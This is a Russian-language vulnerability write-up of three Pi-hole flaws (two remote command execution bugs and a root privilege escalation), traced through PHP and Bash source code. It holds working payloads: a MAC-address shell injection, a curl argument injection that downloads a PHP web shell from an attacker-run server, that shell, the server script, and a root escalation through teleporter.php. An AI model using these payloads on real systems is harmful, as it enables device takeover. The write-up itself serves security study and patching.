Дыры в дыре. Как работают уязвимости в Pi-hole, которые позволяют захватить Raspberry Pi

Дыры в дыре. Как работают уязвимости в Pi-hole, которые позволяют захватить Raspberry Pi

Life-Hack [Жизнь-Взлом]/Хакинг

#Обучение

В Pi-hole — популярной программе для блокировки рекламы и нежелательных скриптов — за последнее время нашли целых три уязвимости. Две из них приводят к удаленному выполнению команд, а одна позволяет повысить привилегии до root. Давай разберем причины проблем и заодно посмотрим, как искать уязвимости в коде на PHP и скриптах на Bash.

Pi-hole — это DNS-сервер и небольшой веб-интерфейс для настройки блокировщика и просмотра статистики. Приставка Pi тут неспроста, поскольку разработчики предполагали, что ставить их софт будут на Raspberry Pi (а заодно название звучит как «дырка для пирога»). При этом ничто в целом не мешает ставить Pi-hole и на другое железо.

Коротко

CVE-2020-8816 — эта уязвимость в Pi-hole существует из-за некорректной санитизации MAC-адреса при добавлении его в список. Специально сформированный MAC-адрес позволяет злоумышленнику внедрить свои команды в строку вызова. Баг затрагивает все версии Pi-hole до 4.3.2 включительно.

CVE-2020-11108 — обновление скрипта Gravity в Pi-hole до версии 4.4 позволяет загружать произвольные файлы в веб-директорию системы. Злоумышленник может загрузить PHP-файл, содержащий вредоносный код. Ошибка находится в функции gravity_DownloadBlocklistFromUrl в файле gravity.sh. Также она может быть использована в сочетании с правилом sudo для пользователя www-data, чтобы выполнить повышение привилегий до суперпользователя.

Нашли уязвимости Ник Фришетт (Nick Frichette), разработчик и ИБ-исследователь из США, и Франсуа Рено-Филиппон (François Renaud-Philippon) — ИБ-исследователь из Канады.

Стенд

Начнем со стенда. Тут все просто, разработчики Pi-Hole предоставляют официальный контейнер Docker с дистрибутивом. Для тестирования всех уязвимостей воспользуемся версией 4.3.2.

docker run --rm --name pihole --hostname pihole -p80:80 -p53:53 pihole/pihole:4.3.2

После непродолжительной загрузки на 80 порту можно найти веб-интерфейс администратора.

Пароль будет сгенерирован в процессе загрузки контейнера и выведен в консоль.

Теперь осталось скачать исходники админской панели с GitHub (ZIP) — и можно приступать к разбору уязвимости.

RCE через MAC-адрес

Для начала обратимся к исходным кодам приложения, раз они имеются. В первую очередь проверим наличие RCE. Для этого поищем в коде на PHP основные функции, которые допускают исполнение кода. Я буду использовать PHPStorm и следующую регулярку.

(exec|passthru|system|shell_exec|popen|proc_open|pcntl_exec)\s*\(

Она не идеальна, но для быстрого поиска сгодится.

Сразу видим, что нашлась пачка интересных мест. Давай посмотрим на них поближе.

Начнем с файла savesettings.php. Он отвечает за сохранение настроек в разделе Settings, для каждой вкладки есть отдельная ветка кода.

scripts/pi-hole/php/savesettings.php

216:        // Process request
217:        switch ($_POST["field"]) {
218:            // Set DNS server
219:            case "DNS":
...
383:            case "API":
...
548:            case "DHCP": 

Нас интересует вкладка DHCP, там происходит подозрительный вызов функции exec.

scripts/pi-hole/php/savesettings.php

548:            case "DHCP":
549: 
550:                if(isset($_POST["addstatic"]))
551:                {
552:                    $mac = $_POST["AddMAC"];
553:                    $ip = $_POST["AddIP"];
554:                    $hostname = $_POST["AddHostname"];
...
605:                        exec("sudo pihole -a addstaticdhcp ".$mac." ".$ip." ".$hostname);

В процессе выполнения происходит вызов утилиты pihole, где в качестве параметров командной строки передаются значения AddMACAddIPAddHostname из POST-запроса. Первая мысль: просто внедрить свою команду при помощи && или ||. Однако переменные предварительно проходят некоторые проверки. Давай посмотрим на них. Начнем с IP.

scripts/pi-hole/php/savesettings.php

562:                    if(!validIP($ip) && strlen($ip) > 0)
563:                    {
564:                        $error .= "IP address (".htmlspecialchars($ip).") is invalid!<br>";
565:                    }

Помимо двух регулярок, выполняется проверка встроенной в PHP функцией filter_var с опцией FILTER_VALIDATE_IP.

scripts/pi-hole/php/savesettings.php

14: function validIP($address){
15:     if (preg_match('/[.:0]/', $address) && !preg_match('/[1-9a-f]/', $address)) {
16:         // Test if address contains either `:` or `0` but not 1-9 or a-f
17:         return false;
18:     }
19:     return !filter_var($address, FILTER_VALIDATE_IP) === false;
20: }

Здесь особо не разгуляешься, и пропихнуть левые символы не удастся. Тогда переходим к hostname.

scripts/pi-hole/php/savesettings.php

567:                    if(!validDomain($hostname) && strlen($hostname) > 0)
568:                    {
569:                        $error .= "Host name (".htmlspecialchars($hostname).") is invalid!<br>";
570:                    }

Тут уже три регулярки. Первая запрещает использовать любые символы, кроме цифр, a-z, точки, минуса и подчеркивания, а остальные проверяют длину строки.

scripts/pi-hole/php/savesettings.php

36: function validDomain($domain_name)
37: {
38:     $validChars = preg_match("/^([_a-z\d](-*[_a-z\d])*)(\.([_a-z\d](-*[a-z\d])*))*(\.([a-z\d])*)*$/i", $domain_name);
39:     $lengthCheck = preg_match("/^.{1,253}$/", $domain_name);
40:     $labelLengthCheck = preg_match("/^[^\.]{1,63}(\.[^\.]{1,63})*$/", $domain_name);
41:     return ( $validChars && $lengthCheck && $labelLengthCheck ); //length of each label
42: }

Здесь тоже нет возможности внедрить нужные нам символы.

Остается MAC-адрес.

scripts/pi-hole/php/savesettings.php

556:                    if(!validMAC($mac))
557:                    {
558:                        $error .= "MAC address (".htmlspecialchars($mac).") is invalid!<br>";
559:                    }

scripts/pi-hole/php/savesettings.php

53: function validMAC($mac_addr)
54: {
55:   // Accepted input format: 00:01:02:1A:5F:FF (characters may be lower case)
56:   return (preg_match('/([a-fA-F0-9]{2}[:]?){6}/', $mac_addr) == 1);
57: }

А вот здесь нас ждет удача. Регулярка говорит нам, что строка должна содержать 6 пар символов английского алфавита и цифр и они могут быть разделены двоеточием или нет. Но вот незадача, отсутствуют символы начала и конца строки. Это значит, что достаточно, чтобы было как минимум одно вхождение такой регулярки, а помимо нее можно указывать все что хочется.

Однако здесь нас поджидает небольшая проблемка.

scripts/pi-hole/php/savesettings.php

560:                    $mac = strtoupper($mac);

Все буквы в строке с MAC-адресом переводятся в верхний регистр. Так как команды в Linux регистрозависимы, не получится просто внедрить нужную, придется искать обход. К счастью, шелл в Linux очень гибкая штука и сделать байпасс не составит труда. Если бы функция exec использовала интерпретатор bash для выполнения команд, то решение было бы совсем простым: начиная с четвертой версии в Bash появилась конструкция вида ${VAR,,}, которая меняет регистр букв на строчные в значении переменной. Но exec использует /bin/sh.

Но не стоит отчаиваться, ведь у нас есть переменные окружения. Всеми любимая $PATH как раз состоит из букв верхнего регистра и содержит большое количество символов нижнего. Добавим новую запись с MAC-адресом 000000000000$PATH, чтобы увидеть содержимое этой переменной окружения.

По умолчанию в контейнере она имеет следующий вид:

/opt/pihole:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin

Чтобы не собирать всю необходимую команду из этих букв, воспользуемся php, так как местные функции регистронезависимы. Вот мой пейлоад:

php -r 'exec(strtolower("echo 1 > /tmp/owned"));'

Чтобы исключить любые проблемы с символами в длинных командах, можно воспользоваться функцией hex2bin вместо strtolower, но для моего пейлоада сгодится и эта.

Получается, что нам нужны символы ph и r. Воспользуемся символами замены и удаления подстроки. Символ p находится на третьей позиции. Конструкция A=${PATH#??} удалит первые два символа, и в переменной A останется такая подстрока:

pt/pihole:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin

Теперь из нее нужно удалить все, кроме первого символа, для этого используем P=${A%${A#?}}.

Теперь h. Он находится на восьмой позиции, поэтому удаляем первые семь символов A=${PATH#???????}. Оставляем только первый символ при помощи уже известной нам конструкции H=${A%${A#?}}.

И наконец — r. Удаляем все символы начиная с первого слеша до первого двоеточия плюс три символа: A=${PATH#/*:???}. В итоге останется такая подстрока:

r/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin

Снова оставляем только первый символ R=${A%${A#?}}.

WWW

Подробнее про манипуляцию со строками можно прочитать в мануале Bash, там все подробно расписано с примерами использования.

Собираем все наши конструкции вместе и получаем:

A=${PATH#??};P=${A%${A#?}};A=${PATH#???????};H=${A%${A#?}};A=${PATH#/*:???};R=${A%${A#?}};

Теперь в переменных $P$H и $R находятся буквы ph и r в нижнем регистре.

Можно формировать основной пейлоад.

000000000000;A=${PATH#??};P=${A%${A#?}};A=${PATH#???????};H=${A%${A#?}};A=${PATH#/*:???};R=${A%${A#?}};$P$H$P -$R 'exec(strtolower("echo 1 > /tmp/owned"));';

Отправляем его в качестве MAC-адреса и можем видеть файл owned в директории /tmp.

Точно такая же проблема присутствует в функции удаления существующего MAC-адреса.

scripts/pi-hole/php/savesettings.php

611:                if(isset($_POST["removestatic"]))
612:                {
613:                    $mac = $_POST["removestatic"];
614:                    if(!validMAC($mac))
615:                    {
616:                        $error .= "MAC address (".htmlspecialchars($mac).") is invalid!<br>";
617:                    }
...
618:                    $mac = strtoupper($mac);
...
622:                        exec("sudo pihole -a removestaticdhcp ".$mac);

Разработчики исправили этот баг в версии 4.3.3, теперь для фильтрации MAC-адреса используется встроенная функция filter_var, а также добавили новую функцию formatMAC, которая возвращает только найденную подстроку с маком.

v4.3.3/scripts/pi-hole/php/savesettings.php

53: function validMAC($mac_addr)
54: {
55:   // Accepted input format: 00:01:02:1A:5F:FF (characters may be lower case)
56:   return !filter_var($mac_addr, FILTER_VALIDATE_MAC) === false;
57: }
58: 
59: function formatMAC($mac_addr)
60: {
61:     preg_match("/([0-9a-fA-F]{2}[:]){5}([0-9a-fA-F]{2})/", $mac_addr, $matches);
62:     if(count($matches) > 0)
63:         return $matches[0];
64:     return null;
65: }

Но остались еще интересные места.

RCE через добавление в списки

Отмотаем немного назад, до утилиты pihole. Pihole — это скрипт на Bash, который выполняет разные действия, среди них такие как добавление или удаление доменов из черного и белого списков и загрузка списка доменов для блокирования. По дефолту она находится по пути /usr/local/bin/pihole.

Наш путь лежит во вкладку Blocklist раздела Settings.

В этой форме можно добавлять ссылки на списки доменов для блокирования. Изначально там уже есть некоторые адреса, но я их удалил, чтобы упростить тестирование. Когда ты добавишь адрес и нажмешь на кнопку Save and Update, скрипт на PHP вызывает pihole.

scripts/pi-hole/php/savesettings.php

701:            case "adlists":
...
722:                if(strlen($_POST["newuserlists"]) > 1)
723:                {
724:                    $domains = array_filter(preg_split('/\r\n|[\r\n]/', $_POST["newuserlists"]));
725:                    foreach($domains as $domain)
726:                    {
727:                        exec("sudo pihole -a adlist add ".escapeshellcmd($domain));
728:                    }
729:                }

В качестве параметров командной строки передается значение domain из POST-запроса. Оно записывается в файл /etc/pihole/adlists.list. Посмотреть детали выполнения скрипта можно при помощи флага -x интерпретатора bash.

bash -x pihole -a adlist add http://ya.ru

Сначала происходит парсинг параметров.

pihole

443: case "${1}" in
...
463:   "-a" | "admin"                ) webpageFunc "$@";;

Так как передан ключ -a, происходит вызов webpageFunc.

pihole

27: webpageFunc() {
28:   source "${PI_HOLE_SCRIPT_DIR}/webpage.sh"
29:   main "$@"
30:   exit 0
31: } 

Здесь выполнение передается функции main и далее — CustomizeAdLists, так как был указан аргумент adlist.

advanced/Scripts/webpage.sh

567: main() {
568:     args=("$@")
...
594:         "adlist"              ) CustomizeAdLists;; 

В CustomizeAdLists в зависимости от типа действия выполняется включение, выключение, удаление или добавление в список переданного домена для загрузки блоклиста.

advanced/Scripts/webpage.sh

396: CustomizeAdLists() {
397:     list="/etc/pihole/adlists.list"
...
403:     elif [[ "${args[2]}" == "add" ]]; then
404:         if [[ $(grep -c "^${args[3]}$" "${list}") -eq 0 ]] ; then
405:             echo "${args[3]}" >> ${list} 

После того как pihole отработал, результат возвращается в скрипт на PHP, и если ты нажал именно Save and Update, то браузер редиректит на страницу Update Gravity.

settings.php

36: <?php // Check if ad lists should be updated after saving ...
37: if (isset($_POST["submit"])) {
38:     if ($_POST["submit"] == "saveupdate") {
39:         // If that is the case -> refresh to the gravity page and start updating immediately
40:         ?>
41:         <meta http-equiv="refresh" content="1;url=gravity.php?go">
42:     <?php }
43: } ?>

И здесь запускается процесс обновления списков.

gravity.php

28: <script src="scripts/pi-hole/js/gravity.js"></script>

scripts/pi-hole/js/gravity.js

59: $(function(){
...
64:     // Do we want to start updating immediately?
65:     // gravity.php?go
66:     var searchString = window.location.search.substring(1);
67:     if(searchString.indexOf("go") !== -1)
68:     {
69:         $("#gravityBtn").attr("disabled", true);
70:         eventsource();
71:     }

Управление переходит к скрипту gravity.sh.php.

scripts/pi-hole/js/gravity.js

07: function eventsource() {
...
18:     var source = new EventSource("scripts/pi-hole/php/gravity.sh.php");

Здесь мы вновь возвращаемся к утилите pihole.

scripts/pi-hole/php/gravity.sh.php

33: $proc = popen("sudo pihole -g", 'r');
34: while (!feof($proc)) {
35:     echoEvent(fread($proc, 4096));
36: }

Как видно из названия файла (gravity.sh.php), скрипт является обвязкой gravity.sh.

pihole

443: case "${1}" in
...
452:   "-g" | "updateGravity"        ) updateGravityFunc "$@";;

Именно к нему и переходит управление.

pihole

71: updateGravityFunc() {
72:   "${PI_HOLE_SCRIPT_DIR}"/gravity.sh "$@"
73:   exit $?
74: } 

Скрипт большой, если хочешь посмотреть детали его работы, то ты снова можешь воспользоваться ключом -x.

bash -x /opt/pihole/gravity.sh -g

Нас интересует вызов функции gravity_GetBlocklistUrls.

gravity.sh

648:   gravity_GetBlocklistUrls

Здесь происходит парсинг файла /etc/pihole/adlists.list и составляется список доменов, на которые нужно сходить за списками.

gravity.sh

157: gravity_GetBlocklistUrls() {
...
168:   mapfile -t sources <<< "$(grep -v -E "^(#|$)" "${adListFile}" 2> /dev/null)"
...
170:   # Parse source domains from $sources
171:   mapfile -t sourceDomains <<< "$(
172:     # Logic: Split by folder/port
173:     awk -F '[/:]' '{
174:       # Remove URL protocol & optional username:password@
175:       gsub(/(.*:\/\/|.*:.*@)/, "", $0)
176:       if(length($1)>0){print $1}
177:       else {print "local"}
178:     }' <<< "$(printf '%s\n' "${sources[@]}")" 2> /dev/null
179:   )" 

Теперь настало время установить настройки перед загрузкой списков. Это происходит в gravity_SetDownloadOptions.

gravity.sh

649:   if [[ "${haveSourceUrls}" == true ]]; then
650:     gravity_SetDownloadOptions
651:   fi

gravity.sh

194: gravity_SetDownloadOptions() {
195:   local url domain agent cmd_ext str
...
200:   for ((i = 0; i < "${#sources[@]}"; i++)); do
201:     url="${sources[$i]}"
202:     domain="${sourceDomains[$i]}"

И вызов gravity_DownloadBlocklistFromUrl выполняет непосредственную загрузку.

gravity.sh

217:     if [[ "${skipDownload}" == false ]]; then
218:       echo -e "  ${INFO} Target: ${domain} (${url##*/})"
219:       gravity_DownloadBlocklistFromUrl "${url}" "${cmd_ext}" "${agent}"
220:       echo ""
221:     fi

Сама загрузка происходит при помощи curl.

gravity.sh

227: gravity_DownloadBlocklistFromUrl() {
228:   local url="${1}" cmd_ext="${2}" agent="${3}" heisenbergCompensator="" patternBuffer str httpCode success=""
...
274:     cmd_ext="--resolve $domain:$port:$ip $cmd_ext"
...
277:   httpCode=$(curl -s -L ${cmd_ext} ${heisenbergCompensator} -w "%{http_code}" -A "${agent}" "${url}" -o "${patternBuffer}" 2> /dev/null)

Вот тут нужно остановиться поподробнее. Посмотрим на команду вызова curl. Если отбросить все, что нам не очень интересно, то она примет следующий вид:

curl ${cmd_ext} ${heisenbergCompensator} "${url}" -o "${patternBuffer}"

Можно заметить, что переменные cmd_ext и heisenbergCompensator не окружены кавычками, поэтому это потенциальное место, куда можно внедрить что-то. Переменная heisenbergCompensator формируется из saveLocation.

INFO

Внезапная культурная отсылка: наша переменная названа в честь компенсатора Гейзенберга. Это вымышленное устройство, которое неким образом преодолевает принцип неопределенности. В сериале Star Trek: Deep Space Nine оно упоминается как один из компонентов системы телепортации.

gravity.sh

234:   if [[ -r "${saveLocation}" && $url != "file"* ]]; then
...
238:     heisenbergCompensator="-z ${saveLocation}"
239:   fi

А saveLocation инициализируется в функции gravity_SetDownloadOptions.

gravity.sh

194: gravity_SetDownloadOptions() {
...
201:     url="${sources[$i]}"
202:     domain="${sourceDomains[$i]}"
...
205:     saveLocation="${piholeDir}/list.${i}.${domain}.${domainsExtension}"
206:     activeDomains[$i]="${saveLocation}"

Как видишь, здесь есть переменная, которую можно контролировать, — domain. Вернемся в файл savesettings.php, где создается список доменов.

scripts/pi-hole/php/savesettings.php

722:                if(strlen($_POST["newuserlists"]) > 1)
723:                {
724:                    $domains = array_filter(preg_split('/\r\n|[\r\n]/', $_POST["newuserlists"]));
725:                    foreach($domains as $domain)
726:                    {
727:                        exec("sudo pihole -a adlist add ".escapeshellcmd($domain));
728:                    }
729:                }

Тут нет никакой проверки на корректность отправленного имени домена, есть лишь функция escapeshellcmd, которая экранирует символы в переданной строке. То есть потенциально мы можем передать в качестве домена строку с пробелами и дополнительными аргументами для curl.

У curl есть несколько интересных ключей, которые можно эксплуатировать. В нашем случае очень кстати будет -o, который позволяет весь вывод записать в файл. Но в команде уже присутствует флаг -o "${patternBuffer}". К счастью, curl не испугается повторного флага, а приоритет отдаст тому, который встретился первым. Поэтому команда curl -o first -o second -o third http://ya.ru будет писать в файл строку first.

Давай пробежимся по процессу добавления данных в блоклист из url. При первом запуске gravity.sh скрипт проверяет, существует ли файл с именем из переменной saveLocation. Например, если я добавил http://ya.ru, то файл будет иметь имя list.0.ya.ru.domains.

После этого отрабатывает curl и сохраняет полученные по этому URL данные во временный файл.

++ curl -s -L -w '%{http_code}' -A 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36' http://ya.ru -o /tmp/tmp.YRfmrUcFcb.phgpb 

И если сервер ответил 200 (Ok), то данные передаются в функцию gravity_ParseFileIntoDomains.

gravity.sh

277:   httpCode=$(curl -s -L ${cmd_ext} ${heisenbergCompensator} -w "%{http_code}" -A "${agent}" "${url}" -o "${patternBuffer}" 2> /dev/null)
...
290:       case "${httpCode}" in
291:         "200") echo -e "${OVER}  ${TICK} ${str} Retrieval successful"; success=true;;
...
307:   if [[ "${success}" == true ]]; then
...
313:       gravity_ParseFileIntoDomains "${patternBuffer}" "${saveLocation}"

Здесь имя временного файла изменяется на переменную saveLocation.

gravity.sh

329: gravity_ParseFileIntoDomains() {
330:   local source="${1}" destination="${2}" firstLine abpFilter
...
381:     output=$( { mv "${source}" "${destination}"; } 2>&1 ) 

После того как скрипт отработал, в директории /etc/pinhole появляется наш файл.

Запустим скрипт gravity.sh еще раз. Теперь, когда файл существует, в curl будет добавлен heisenbergCompensator и флаг -z.

heisenbergCompensator='-z /etc/pihole/list.0.ya.ru.domains' 

В результате вызов curl будет выглядеть так:

curl -s -L -z /etc/pihole/list.0.ya.ru.domains -w '%{http_code}' -A 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36' http://ya.ru -o /tmp/tmp.EbjhVz4huF.phgpb

Теперь нам нужно сформировать корректный пейлоад. Понадобится сервер, который вернет 200 и код, который мы хотим выполнить. Сделаем простейший шелл на PHP.

shell.php

<?php
echo system($_GET["c"]);

И поднимем сервер, который будет его возвращать в ответ на любой запрос. Я буду использовать http.server.

serv.py

01: import http.server
02: import socketserver
03: import sys
04: 
05: class MyHttpRequestHandler(http.server.SimpleHTTPRequestHandler):
06:     def do_GET(self):
07:         self.path = 'shell.php'
08:         return http.server.SimpleHTTPRequestHandler.do_GET(self)
09: 
10: handler_object = MyHttpRequestHandler
11: my_server = socketserver.TCPServer(("192.168.99.1", 80), handler_object)
12: try:
13:     print("Server started.")
14:     my_server.serve_forever()
15: except KeyboardInterrupt:
16:     print("Shutting down...")
17:     my_server.socket.close()
18:     sys.exit(0)
19: 

Также нужно, чтобы curl делал запрос на сервер и не учитывал остальные параметры, которые я добавлю для эксплуатации. В этом нам поможет символ #.

http://192.168.99.1#

Затем указываем флаг -o и имя файла как параметр.

http://192.168.99.1# -o shell.php

Попробуем добавить эту строку в качестве URL.

Видим, что запрос на сервер пришел, файл успешно создан и содержит полезную нагрузку. Благо в Linux имя файла — вещь гибкая и никаких проблем такая строка в качестве него не создаст.

Теперь повторный запуск.

Наши аргументы добавлены, однако подстрока .domains в расширении файла создает проблемы. Нужно ее как-то убрать.

curl -s -L -z /etc/pihole/list.0.192.168.99.1# -o shell.php.domains -w '%{http_code}' -A 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36' 'http://192.168.99.1# -o shell.php' -o /tmp/tmp.cjh4aohrRE.phgpb 

У curl множество флагов, поэтому есть сразу несколько вариантов, которые нам могут помочь. Самый простой — это добавить еще один флаг -z, тогда .domains будет использоваться как метка времени. Естественно, некорректная, но нам это не важно.

http://192.168.99.1# -o shell.php -z

Передадим в качестве URL этот пейлоад и получим шелл на сервере.

В консоли все отрабатывает хорошо, но для добавления такого пейлоада в качестве URL через веб-форму нужно дополнительно добавить кавычки.

http://192.168.99.1#" -o shell.php -z"

Это необходимо, чтобы скрипт pihole распознал его как один параметр, а не несколько, в процессе добавления URL они будут удалены. После того как эксплоит успешно отработает, ты найдешь шелл по адресу http://pihole.vh/admin/scripts/pi-hole/php/shell.php?c=uname%20-a.

Повышение привилегий до root

Если ты обратил внимание, то из PHP утилита pihole вызывается через sudo. К сожалению, юзер www-data не может использовать sudo без пароля.

Но если немного пошариться в скриптах, можно найти функцию Teleporter, которая находится в файле webpage.sh.

advanced/Scripts/webpage.sh

540: Teleporter() {
541:     local datetimestamp=$(date "+%Y-%m-%d_%H-%M-%S")
542:     php /var/www/html/admin/scripts/pi-hole/php/teleporter.php > "pi-hole-teleporter_${datetimestamp}.tar.gz"
543: }
...
567: main() {
568:     args=("$@")
569: 
570:     case "${args[1]}" in
...
593:         "-t" | "teleporter"   ) Teleporter;;

Эта функция вызывается из pihole, когда указан флаг -a.

pihole

027: webpageFunc() {
028:   source "${PI_HOLE_SCRIPT_DIR}/webpage.sh"
029:   main "$@"
030:   exit 0
031: }
...
443: case "${1}" in
...
463:   "-a" | "admin"                ) webpageFunc "$@";;

Вот и легкий способ повысить привилегии! С помощью предыдущего эксплоита перезаписываем файл teleporter.php, добавляем в него необходимые команды и вызываем его при помощи команды sudo -a -t.

teleporter.php

1: <?php
2: system('id > id.txt'); 

Полуавтоматические версии эксплоитов можешь найти в репозитории автора уязвимости.

Заключение

Несмотря на серьезность рассмотренных проблем, они часто встречаются даже в крупных проектах. Конечно, здесь импакт снижается тем, что нужно быть авторизованным пользователем, чтобы успешно проэксплуатировать уязвимости, но что-то мне подсказывает, что немного поресерчив, можно найти XSS или CSRF, которая позволит в один клик захватить систему.

Так что если ты используешь Pi-hole, то следи за обновлениями и старайся всегда работать с последней версией дистрибутива. К сожалению, автоматического обновления здесь не предусмотрено, но в футере страницы есть панелька, которая оповещает о наличии новых версий.

К тому же несколько месяцев назад вышло крупное обновление — версия 5.0. Возможно, там было уделено большее внимание безопасности системы. Или нет?

Источник

Report Page